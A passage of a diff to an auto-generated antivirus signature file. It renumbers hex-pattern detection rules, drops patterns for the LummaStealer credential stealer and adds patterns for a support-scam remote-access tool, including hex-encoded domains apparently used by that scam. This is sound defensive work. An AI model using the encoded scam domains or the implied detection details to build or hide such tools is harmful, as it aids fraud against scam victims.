-262602,7 +277946,7 @@ rule _InfrastructureShared_20494{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28672+(#a_02_2 & 1)*-28550+(#a_2d_3 & 1)*23085+(#a_2c_4 & 1)*2+(#a_41_5 & 1)*11617+(#a_2d_6 & 1)*31277+(#a_73_7 & 1)*23620+(#a_57_8 & 1)*21504+(#a_00_10 & 1)*119+(#a_00_12 & 1)*110+(#a_00_13 & 1)*14637+(#a_3a_14 & 1)*26674+(#a_30_15 & 1)*11585+(#a_54_16 & 1)*26966+(#a_84_18 & 1)*257) >=11 } -rule _InfrastructureShared_20495{ +rule _InfrastructureShared_21718{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 3b 00 21 " @@ -262663,7 +278007,7 @@ rule _InfrastructureShared_20495{ ((#a_54_0 & 1)*18467+(#a_ef_1 & 1)*12781+(#a_21_2 & 1)*32559+(#a_01_3 & 1)*30821+(#a_79_4 & 1)*24933+(#a_78_5 & 1)*11874+(#a_65_6 & 1)*28271+(#a_01_7 & 1)*17707+(#a_00_8 & 1)*17721+(#a_33_9 & 1)*13057+(#a_00_10 & 1)*57+(#a_00_11 & 1)*51+(#a_00_12 & 1)*66+(#a_00_13 & 1)*50+(#a_00_15 & 1)*57+(#a_00_17 & 1)*70+(#a_00_18 & 1)*54+(#a_00_19 & 1)*53+(#a_00_21 & 1)*56+(#a_00_22 & 1)*67+(#a_00_24 & 1)*67+(#a_00_25 & 1)*67+(#a_00_27 & 1)*57+(#a_00_29 & 1)*52+(#a_00_30 & 1)*68+(#a_00_31 & 1)*70+(#a_00_32 & 1)*68+(#a_00_33 & 1)*55+(#a_00_34 & 1)*49+(#a_3a_36 & 1)*19521+(#a_09_37 & 1)*14637+(#a_72_38 & 1)*29298+(#a_6f_39 & 1)*24947+(#a_67_40 & 1)*27753+(#a_6c_41 & 1)*30313+(#a_03_42 & 1)*8+(#a_03_43 & 1)*8+(#a_03_44 & 1)*8+(#a_01_45 & 1)*5+(#a_01_46 & 1)*5+(#a_01_47 & 1)*5+(#a_01_48 & 1)*5+(#a_01_49 & 1)*5+(#a_01_50 & 1)*5+(#a_01_51 & 1)*5+(#a_01_52 & 1)*5+(#a_01_53 & 1)*5+(#a_01_54 & 1)*5+(#a_01_55 & 1)*5+(#a_01_56 & 1)*5+(#a_01_57 & 1)*5+(#a_01_58 & 1)*5) >=1 } -rule _InfrastructureShared_20496{ +rule _InfrastructureShared_21719{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -262678,7 +278022,7 @@ rule _InfrastructureShared_20496{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*57+(#a_00_2 & 1)*53+(#a_00_4 & 1)*65+(#a_00_5 & 1)*70+(#a_00_6 & 1)*67) >=1 } -rule _InfrastructureShared_20497{ +rule _InfrastructureShared_21720{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,50 00 50 00 1c 00 21 " @@ -262714,7 +278058,7 @@ rule _InfrastructureShared_20497{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28672+(#a_2e_2 & 1)*13427+(#a_19_3 & 1)*11817+(#a_5a_4 & 1)*16762+(#a_69_5 & 1)*26144+(#a_25_6 & 1)*8293+(#a_65_7 & 1)*25185+(#a_2d_8 & 1)*23085+(#a_61_9 & 1)*281+(#a_19_10 & 1)*1+(#a_00_11 & 1)*83+(#a_01_12 & 1)*5+(#a_01_13 & 1)*5+(#a_01_14 & 1)*5+(#a_01_15 & 1)*5+(#a_01_16 & 1)*5+(#a_01_17 & 1)*5+(#a_01_18 & 1)*5+(#a_01_19 & 1)*5+(#a_01_20 & 1)*5+(#a_01_21 & 1)*5+(#a_d6_22 & 1)*0+(#a_56_23 & 1)*8744+(#a_46_25 & 1)*14849+(#a_72_26 & 1)*14906+(#a_61_27 & 1)*10343) >=80 } -rule _InfrastructureShared_20498{ +rule _InfrastructureShared_21721{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 28 00 21 " @@ -262758,7 +278102,7 @@ rule _InfrastructureShared_20498{ ((#a_46_0 & 1)*16675+(#a_28_1 & 1)*28265+(#a_72_2 & 1)*21300+(#a_6e_3 & 1)*29300+(#a_73_4 & 1)*17005+(#a_48_5 & 1)*10343+(#a_3a_6 & 1)*-32488+(#a_42_7 & 1)*28530+(#a_42_8 & 1)*28530+(#a_61_9 & 1)*28015+(#a_6e_10 & 1)*29300+(#a_65_11 & 1)*24898+(#a_36_12 & 1)*29537+(#a_01_13 & 1)*5888+(#a_c7_14 & 1)*-1+(#a_68_15 & 1)*17607+(#a_90_16 & 1)*17607+(#a_0b_17 & 1)*3072+(#a_04_18 & 1)*-28619+(#a_0a_20 & 1)*3328+(#a_3a_21 & 1)*400+(#a_8b_23 & 1)*3840+(#a_35_24 & 1)*9292+(#a_90_25 & 1)*-1+(#a_10_26 & 1)*-29948+(#a_66_27 & 1)*4864+(#a_90_28 & 1)*-16026+(#a_2c_29 & 1)*10946+(#a_65_30 & 1)*30066+(#a_00_31 & 1)*108+(#a_00_32 & 1)*119+(#a_2d_34 & 1)*2305+(#a_00_36 & 1)*92+(#a_00_37 & 1)*116+(#a_00_39 & 1)*49) >=1 } -rule _InfrastructureShared_20499{ +rule _InfrastructureShared_21722{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 31 00 21 " @@ -262809,7 +278153,7 @@ rule _InfrastructureShared_20499{ ((#a_5f_0 & 1)*25635+(#a_20_2 & 1)*19595+(#a_05_3 & 1)*13060+(#a_78_4 & 1)*17607+(#a_01_5 & 1)*-28648+(#a_02_6 & 1)*791+(#a_05_7 & 1)*11256+(#a_00_9 & 1)*144+(#a_73_10 & 1)*18433+(#a_90_11 & 1)*257+(#a_8b_12 & 1)*787+(#a_03_13 & 1)*1+(#a_03_14 & 1)*1+(#a_03_15 & 1)*1+(#a_03_16 & 1)*1+(#a_03_17 & 1)*1+(#a_03_18 & 1)*1+(#a_03_19 & 1)*1+(#a_03_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_03_23 & 1)*1+(#a_03_24 & 1)*1+(#a_03_25 & 1)*1+(#a_03_26 & 1)*1+(#a_ea_27 & 1)*0+(#a_00_28 & 1)*110+(#a_00_30 & 1)*34+(#a_00_31 & 1)*95+(#a_00_33 & 1)*108+(#a_00_35 & 1)*115+(#a_00_36 & 1)*77+(#a_00_37 & 1)*32+(#a_00_39 & 1)*110+(#a_00_41 & 1)*100+(#a_2d_42 & 1)*23085+(#a_09_43 & 1)*11408+(#a_2d_44 & 1)*14637+(#a_2d_45 & 1)*14637+(#a_2d_46 & 1)*2305+(#a_00_47 & 1)*69+(#a_00_48 & 1)*88) >=1 } -rule _InfrastructureShared_20500{ +rule _InfrastructureShared_21723{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0d 00 21 " @@ -262827,7 +278171,7 @@ rule _InfrastructureShared_20500{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*105+(#a_00_3 & 1)*32+(#a_00_4 & 1)*95+(#a_00_6 & 1)*108+(#a_00_8 & 1)*115+(#a_00_9 & 1)*77+(#a_00_10 & 1)*32+(#a_00_12 & 1)*110) >=1 } -rule _InfrastructureShared_20501{ +rule _InfrastructureShared_21724{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 18 00 21 " @@ -262850,7 +278194,7 @@ rule _InfrastructureShared_20501{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*49+(#a_00_3 & 1)*52+(#a_00_5 & 1)*70+(#a_48_7 & 1)*14848+(#a_00_9 & 1)*65+(#a_00_11 & 1)*48+(#a_00_12 & 1)*52+(#a_00_13 & 1)*56+(#a_00_15 & 1)*114+(#a_00_17 & 1)*98+(#a_00_19 & 1)*113+(#a_00_21 & 1)*56+(#a_00_23 & 1)*50) >=20 } -rule _InfrastructureShared_20502{ +rule _InfrastructureShared_21725{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 20 00 21 " @@ -262890,7 +278234,7 @@ rule _InfrastructureShared_20502{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*30583+(#a_63_2 & 1)*28265+(#a_70_3 & 1)*28718+(#a_2e_4 & 1)*24943+(#a_2f_5 & 1)*28515+(#a_77_6 & 1)*25647+(#a_6e_7 & 1)*28516+(#a_77_8 & 1)*8960+(#a_6e_9 & 1)*25390+(#a_63_10 & 1)*12660+(#a_00_11 & 1)*16240+(#a_77_12 & 1)*30465+(#a_65_13 & 1)*28538+(#a_f7_14 & 1)*0+(#a_52_15 & 1)*25965+(#a_74_16 & 1)*29295+(#a_5f_17 & 1)*25971+(#a_6e_18 & 1)*26996+(#a_00_19 & 1)*48+(#a_00_20 & 1)*116+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1) >=1 } -rule _InfrastructureShared_20503{ +rule _InfrastructureShared_21726{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2b 00 2b 00 2b 00 21 " @@ -262910,34 +278254,33 @@ rule _InfrastructureShared_20503{ $a_00_18 = {32 00 32 00 32 00 32 00 2d 00 34 00 30 00 30 00 30 00 31 00 2d 00 30 00 30 00 30 00 30 00 31 00 7d 00 01 00 32 01 7b 00 31 00 31 00 31 00 31 00 31 00 } //45 $a_00_19 = {32 00 32 00 32 00 32 00 2d 00 34 00 30 00 30 00 30 00 31 00 2d 00 30 00 30 00 30 00 30 00 32 00 7d 00 01 00 32 01 7b 00 31 00 31 00 31 00 31 00 31 00 } //45 $a_00_20 = {32 00 32 00 32 00 32 00 2d 00 35 00 30 00 30 00 30 00 31 00 2d 00 30 00 30 00 30 00 30 00 31 00 7d 00 01 00 32 01 7b 00 31 00 31 00 31 00 31 00 31 00 } //45 - $a_00_21 = {32 00 32 00 32 00 32 00 2d 00 35 00 30 00 30 00 30 00 31 00 2d 00 30 00 30 00 30 00 30 00 32 00 7d 00 00 00 78 f9 04 00 01 00 01 00 0a 00 21 23 48 53 } //45 - $a_4c_22 = {6d 6d 61 53 74 65 61 6c 65 72 2e 44 53 4b 34 00 01 00 78 01 20 20 20 00 20 20 20 20 00 f0 05 00 00 10 00 00 00 d2 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 } //21076 - $a_72_23 = {72 63 00 00 00 00 03 00 00 00 00 06 00 00 02 00 00 00 e2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 } //-8192 - $a_00_31 = {78 } //-16384 x - $a_20_32 = {20 20 20 20 00 e0 05 00 00 10 00 00 00 e0 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //8193 - $a_63_34 = {00 00 ac 01 00 00 00 f0 05 00 00 02 00 00 00 f0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 06 00 00 02 00 00 00 f2 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 f0 05 00 00 10 00 00 00 f0 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //29554 - $a_63_36 = {00 00 88 03 00 00 00 00 06 00 00 04 00 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 10 06 00 00 02 00 00 00 04 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 f0 05 00 00 10 00 00 00 d2 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //29554 - $a_63_38 = {00 00 10 03 00 00 00 00 06 00 00 04 00 00 00 e2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 10 06 00 00 02 00 00 00 e6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 e0 05 00 00 10 00 00 00 e0 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //29554 - $a_63_40 = {00 00 00 03 00 00 00 f0 05 00 00 02 00 00 00 f0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 06 00 00 02 00 00 00 f2 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 c0 06 00 00 10 00 00 00 c0 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //29554 - $a_63_42 = {00 00 88 03 00 00 00 d0 06 00 00 04 00 00 00 d0 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 e0 06 00 00 02 00 00 00 d4 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 f0 05 00 00 10 00 00 00 f0 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //29554 + $a_00_21 = {32 00 32 00 32 00 32 00 2d 00 35 00 30 00 30 00 30 00 31 00 2d 00 30 00 30 00 30 00 30 00 32 00 7d 00 00 00 78 f9 04 00 0a 00 0a 00 4b 00 21 23 48 53 } //45 + $a_57_22 = {6e 33 32 2f 47 55 49 45 78 63 65 70 74 69 6f 6e 00 02 00 09 00 47 44 49 33 32 2e 64 6c 6c 01 00 0a 00 55 53 45 52 33 32 2e 64 6c 6c 01 00 0a 00 43 72 65 61 74 65 4d 65 6e 75 } //21076 + $a_00_23 = {49 6e 73 65 72 74 4d 65 6e 75 49 74 65 6d 41 } //1 InsertMenuItemA + $a_00_24 = {43 72 65 61 74 65 50 6f 70 75 70 4d 65 6e 75 } //1 CreatePopupMenu + $a_00_25 = {45 6e 61 62 6c 65 57 69 6e 64 6f 77 } //1 EnableWindow + $a_00_26 = {44 65 73 74 72 6f 79 4d 65 6e 75 } //1 DestroyMenu + $a_00_27 = {43 68 65 63 6b 4d 65 6e 75 49 74 65 6d } //1 CheckMenuItem + $a_00_28 = {53 65 74 4d 65 6e 75 } //1 SetMenu + $a_00_29 = {47 65 74 57 69 6e 64 6f 77 54 65 78 74 4c 65 6e 67 74 68 41 } //1 GetWindowTextLengthA + $a_00_30 = {44 65 73 74 72 6f 79 57 69 6e 64 6f 77 } //1 DestroyWindow + $a_00_31 = {49 73 49 63 6f 6e 69 63 } //1 IsIconic + $a_00_32 = {47 65 74 43 6c 69 65 6e 74 52 65 63 74 } //1 GetClientRect + $a_00_33 = {47 65 74 4d 6f 6e 69 74 6f 72 49 6e 66 6f 41 } //1 GetMonitorInfoA + $a_00_34 = {47 65 74 4d 65 6e 75 } //1 GetMenu + $a_00_35 = {47 65 74 57 69 6e 64 6f 77 4c 6f 6e 67 41 } //1 GetWindowLongA + $a_00_36 = {43 72 65 61 74 65 57 69 6e 64 6f 77 45 78 41 } //1 CreateWindowExA + $a_00_37 = {44 69 61 6c 6f 67 42 6f 78 } //1 DialogBox + $a_00_38 = {53 65 74 57 69 6e 64 6f 77 50 6f 73 } //1 SetWindowPos + $a_00_39 = {41 64 6a 75 73 74 57 69 6e 64 6f 77 52 65 63 74 45 78 } //1 AdjustWindowRectEx + $a_00_40 = {53 65 74 57 69 6e 64 6f 77 54 65 78 74 41 } //1 SetWindowTextA + $a_00_41 = {4c 6f 61 64 49 6d 61 67 65 41 } //1 LoadImageA + $a_00_42 = {44 69 61 6c 6f 67 42 6f 78 49 6e 64 69 72 65 63 74 50 61 72 61 6d 41 } //1 DialogBoxIndirectParamA condition: - ((#a_46_0 & 1)*16675+(#a_68_1 & 1)*24909+(#a_69_2 & 1)*25445+(#a_01_3 & 1)*28532+(#a_00_4 & 1)*49+(#a_00_6 & 1)*49+(#a_00_8 & 1)*108+(#a_00_10 & 1)*111+(#a_00_13 & 1)*111+(#a_00_15 & 1)*45+(#a_00_16 & 1)*45+(#a_00_17 & 1)*45+(#a_00_18 & 1)*45+(#a_00_19 & 1)*45+(#a_00_20 & 1)*45+(#a_00_21 & 1)*45+(#a_4c_22 & 1)*21076+(#a_72_23 & 1)*-8192+(#a_00_31 & 1)*-16384+(#a_20_32 & 1)*8193+(#a_63_34 & 1)*29554+(#a_63_36 & 1)*29554+(#a_63_38 & 1)*29554+(#a_63_40 & 1)*29554+(#a_63_42 & 1)*29554) >=43 + ((#a_46_0 & 1)*16675+(#a_68_1 & 1)*24909+(#a_69_2 & 1)*25445+(#a_01_3 & 1)*28532+(#a_00_4 & 1)*49+(#a_00_6 & 1)*49+(#a_00_8 & 1)*108+(#a_00_10 & 1)*111+(#a_00_13 & 1)*111+(#a_00_15 & 1)*45+(#a_00_16 & 1)*45+(#a_00_17 & 1)*45+(#a_00_18 & 1)*45+(#a_00_19 & 1)*45+(#a_00_20 & 1)*45+(#a_00_21 & 1)*45+(#a_57_22 & 1)*21076+(#a_00_23 & 1)*1+(#a_00_24 & 1)*1+(#a_00_25 & 1)*1+(#a_00_26 & 1)*1+(#a_00_27 & 1)*1+(#a_00_28 & 1)*1+(#a_00_29 & 1)*1+(#a_00_30 & 1)*1+(#a_00_31 & 1)*1+(#a_00_32 & 1)*1+(#a_00_33 & 1)*1+(#a_00_34 & 1)*1+(#a_00_35 & 1)*1+(#a_00_36 & 1)*1+(#a_00_37 & 1)*1+(#a_00_38 & 1)*1+(#a_00_39 & 1)*1+(#a_00_40 & 1)*1+(#a_00_41 & 1)*1+(#a_00_42 & 1)*1) >=43 } -rule _InfrastructureShared_20504{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0a 00 21 " - - strings : - $a_54_0 = {3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 44 53 4b 34 00 01 00 78 01 20 20 20 00 20 20 20 20 00 f0 05 00 00 10 00 00 00 d2 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 03 00 00 00 00 06 00 00 02 00 00 } //18467 - $a_00_1 = {00 00 } //-7680 - $a_00_4 = {00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 10 06 00 00 02 00 00 00 e4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 e0 05 00 00 10 00 00 00 e0 } //0 - $a_00_9 = {00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 f0 05 00 00 02 00 00 00 f0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 06 00 00 02 00 00 00 f2 } //0 - condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-7680+(#a_00_4 & 1)*0+(#a_00_9 & 1)*0) >=1 - -} -rule _InfrastructureShared_20505{ +rule _InfrastructureShared_21727{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 4b 00 21 " @@ -263012,7 +278355,7 @@ rule _InfrastructureShared_20505{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*17152+(#a_49_2 & 1)*18688+(#a_00_3 & 1)*29551+(#a_6a_4 & 1)*16640+(#a_42_5 & 1)*26465+(#a_77_6 & 1)*29252+(#a_65_7 & 1)*15+(#a_6e_8 & 1)*21248+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1+(#a_00_14 & 1)*1+(#a_00_15 & 1)*1+(#a_00_16 & 1)*1+(#a_00_17 & 1)*1+(#a_00_18 & 1)*1+(#a_00_19 & 1)*1+(#a_00_20 & 1)*1+(#a_00_21 & 1)*1+(#a_00_22 & 1)*1+(#a_00_23 & 1)*1+(#a_00_24 & 1)*1+(#a_00_25 & 1)*1+(#a_00_26 & 1)*1+(#a_00_27 & 1)*1+(#a_00_28 & 1)*1+(#a_00_29 & 1)*1+(#a_00_30 & 1)*1+(#a_00_31 & 1)*1+(#a_00_32 & 1)*1+(#a_00_33 & 1)*1+(#a_01_34 & 1)*-10+(#a_fe_35 & 1)*0+(#a_00_37 & 1)*69+(#a_00_39 & 1)*49+(#a_00_40 & 1)*70+(#a_00_41 & 1)*56+(#a_00_43 & 1)*54+(#a_00_44 & 1)*66+(#a_00_45 & 1)*56+(#a_00_46 & 1)*51+(#a_00_47 & 1)*67+(#a_00_48 & 1)*65+(#a_00_49 & 1)*66+(#a_00_50 & 1)*65+(#a_00_52 & 1)*55+(#a_00_53 & 1)*65+(#a_00_55 & 1)*70+(#a_00_56 & 1)*55+(#a_01_57 & 1)*1+(#a_01_58 & 1)*1+(#a_01_59 & 1)*1+(#a_04_60 & 1)*0+(#a_69_61 & 1)*11895+(#a_00_62 & 1)*101+(#a_00_63 & 1)*116+(#a_00_64 & 1)*116+(#a_00_66 & 1)*112+(#a_00_68 & 1)*46+(#a_00_70 & 1)*32+(#a_00_71 & 1)*78+(#a_00_72 & 1)*92+(#a_00_74 & 1)*104) >=10 } -rule _InfrastructureShared_20506{ +rule _InfrastructureShared_21728{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 12 00 21 " @@ -263034,7 +278377,7 @@ rule _InfrastructureShared_20506{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*68+(#a_00_4 & 1)*48+(#a_00_5 & 1)*69+(#a_00_6 & 1)*69+(#a_00_7 & 1)*50+(#a_00_8 & 1)*69+(#a_00_10 & 1)*49+(#a_00_11 & 1)*54+(#a_00_12 & 1)*67+(#a_00_14 & 1)*66+(#a_00_15 & 1)*65+(#a_00_17 & 1)*55) >=4 } -rule _InfrastructureShared_20507{ +rule _InfrastructureShared_21729{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 11 00 21 " @@ -263056,7 +278399,7 @@ rule _InfrastructureShared_20507{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*46+(#a_00_2 & 1)*103+(#a_00_4 & 1)*63+(#a_00_5 & 1)*111+(#a_00_6 & 1)*144+(#a_00_7 & 1)*74+(#a_00_8 & 1)*84+(#a_00_10 & 1)*69+(#a_00_11 & 1)*114+(#a_00_13 & 1)*33+(#a_00_14 & 1)*99+(#a_00_15 & 1)*120) >=2 } -rule _InfrastructureShared_20508{ +rule _InfrastructureShared_21730{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 14 00 21 " @@ -263083,7 +278426,7 @@ rule _InfrastructureShared_20508{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*11617+(#a_2d_3 & 1)*2305+(#a_00_5 & 1)*77+(#a_7a_6 & 1)*24841+(#a_41_7 & 1)*11617+(#a_70_8 & 1)*23589+(#a_63_9 & 1)*28781+(#a_30_10 & 1)*11585+(#a_68_11 & 1)*25697+(#a_30_12 & 1)*11585+(#a_90_13 & 1)*11568+(#a_6c_14 & 1)*11886+(#a_39_15 & 1)*12378+(#a_01_16 & 1)*-28672+(#a_61_17 & 1)*281+(#a_19_18 & 1)*1+(#a_2e_19 & 1)*29551) >=4 } -rule _InfrastructureShared_20509{ +rule _InfrastructureShared_21731{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,18 00 18 00 11 00 21 " @@ -263102,12 +278445,72 @@ rule _InfrastructureShared_20509{ $a_2d_11 = {30 2d 39 90 00 03 00 3c 03 75 00 70 00 64 00 61 00 74 00 65 00 76 00 6e 00 73 00 63 00 2e 00 64 00 61 00 74 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 } //31277 $a_00_12 = {03 00 3d 03 74 65 72 61 20 64 6c 6c 20 73 65 72 76 69 63 65 20 67 6c 6f 62 61 6c 20 65 76 65 6e 74 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 03 00 35 03 52 65 66 65 72 65 72 3a 20 68 74 74 70 3a 2f 2f 25 73 2f 25 73 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 03 00 37 03 74 65 72 61 20 72 65 70 6c 61 63 65 20 64 6c 6c 20 63 } //31277 $a_69_13 = {90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 03 00 2e 03 53 65 74 75 70 44 6c 6c 36 34 2e 64 6c 6c 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 03 00 35 03 63 6f 70 79 20 25 25 43 6f 6d 53 70 65 63 25 25 } //28271 - $a_73_14 = {90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 00 00 78 09 05 } //8736 + $a_73_14 = {90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 00 00 78 08 05 } //8736 + $a_23_16 = {4c 46 3a 53 75 70 70 6f 72 74 53 63 61 6d 3a 57 69 6e 33 32 2f 53 63 72 65 63 77 6f 6e 2e 4d 42 21 } //59 LF:SupportScam:Win32/Screcwon.MB! condition: - ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*2305+(#a_74_2 & 1)*26627+(#a_68_3 & 1)*28776+(#a_90_4 & 1)*11568+(#a_49_5 & 1)*19744+(#a_2e_6 & 1)*11827+(#a_31_7 & 1)*21280+(#a_54_8 & 1)*8307+(#a_65_9 & 1)*25902+(#a_90_10 & 1)*11568+(#a_2d_11 & 1)*31277+(#a_00_12 & 1)*31277+(#a_69_13 & 1)*28271+(#a_73_14 & 1)*8736) >=24 + ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*2305+(#a_74_2 & 1)*26627+(#a_68_3 & 1)*28776+(#a_90_4 & 1)*11568+(#a_49_5 & 1)*19744+(#a_2e_6 & 1)*11827+(#a_31_7 & 1)*21280+(#a_54_8 & 1)*8307+(#a_65_9 & 1)*25902+(#a_90_10 & 1)*11568+(#a_2d_11 & 1)*31277+(#a_00_12 & 1)*31277+(#a_69_13 & 1)*28271+(#a_73_14 & 1)*8736+(#a_23_16 & 1)*59) >=24 } -rule _InfrastructureShared_20510{ +rule _InfrastructureShared_21732{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,78 00 78 00 3b 00 21 " + + strings : + $a_46_0 = {53 75 70 70 6f 72 74 53 63 61 6d 3a 57 69 6e 33 32 2f 53 63 72 65 63 77 6f 6e 2e 4d 42 21 4d 54 42 00 14 00 13 81 01 43 6c 69 63 6b 4f 6e 63 65 52 75 6e 6e 65 72 2e 70 64 62 14 00 10 81 01 44 6f 74 4e 65 74 52 75 6e 6e 65 72 2e } //21283 + $a_64_1 = {04 81 01 2e 74 6f 70 64 00 0e 81 01 2e 69 6e 6e 6f 63 72 65 65 64 2e 63 6f 6d 64 00 0e 81 01 2e 63 6f 6e 74 72 6f 6c 68 75 62 2e 65 73 64 00 11 81 01 2e 72 61 74 6f 73 63 72 65 65 6e 63 6f 2e 63 6f 6d 64 00 16 81 01 2e 73 63 72 65 65 6e 73 63 6f 6e 6e 65 63 74 70 72 6f 2e 63 6f 6d 64 00 13 81 } //25712 + $a_70_2 = {65 67 61 6c 66 69 6e 61 6e 63 65 2e 63 6f 6d 64 00 13 81 01 2e 66 69 6c 65 73 64 6f 6e 77 6c 6f 61 64 73 2e 63 6f 6d 64 00 16 81 01 77 69 7a 7a 2e 69 6e 66 69 6e 69 74 79 63 6c 6f 75 64 2e 6f 72 67 64 00 10 81 01 6c 6c 6b 74 35 30 31 2e 64 64 6e 73 2e 6e 65 74 64 00 15 81 01 79 6f 75 72 72 6c 64 6e 73 32 32 2e 68 6f 70 74 } //29441 + $a_72_3 = {64 00 0e 81 01 2e 72 61 74 6f 73 63 62 6f 6d 2e 63 6f 6d 64 00 0d 81 01 63 6f 72 73 61 7a 6f 6e 65 2e 63 6f 6d 64 00 0e 81 01 6c 6f 6d 62 72 65 6c 6f 6e 65 2e 63 6f 6d 64 00 0b 81 01 6d 77 68 65 6c 70 2e 73 69 74 65 64 00 0d 81 01 2e 67 61 6e 64 69 7a 6f 6e 2e 63 6f 6d 64 00 13 81 01 2e 63 6f 6e 6e 65 63 74 70 72 6f 74 6f 63 6f 6c } //11887 + $a_64_4 = {15 81 01 64 6f 63 73 69 67 6e 2e 63 6f 75 72 73 61 62 75 73 2e 63 6f 6d 64 00 0d 81 01 2e 34 63 6c 6f 75 64 2e 63 6c 69 63 6b 64 00 0d 81 01 2e 79 61 70 63 61 72 65 2e 68 65 6c 70 64 00 14 81 01 63 6c 6f 75 64 66 69 6c 65 73 2d 73 65 63 75 72 65 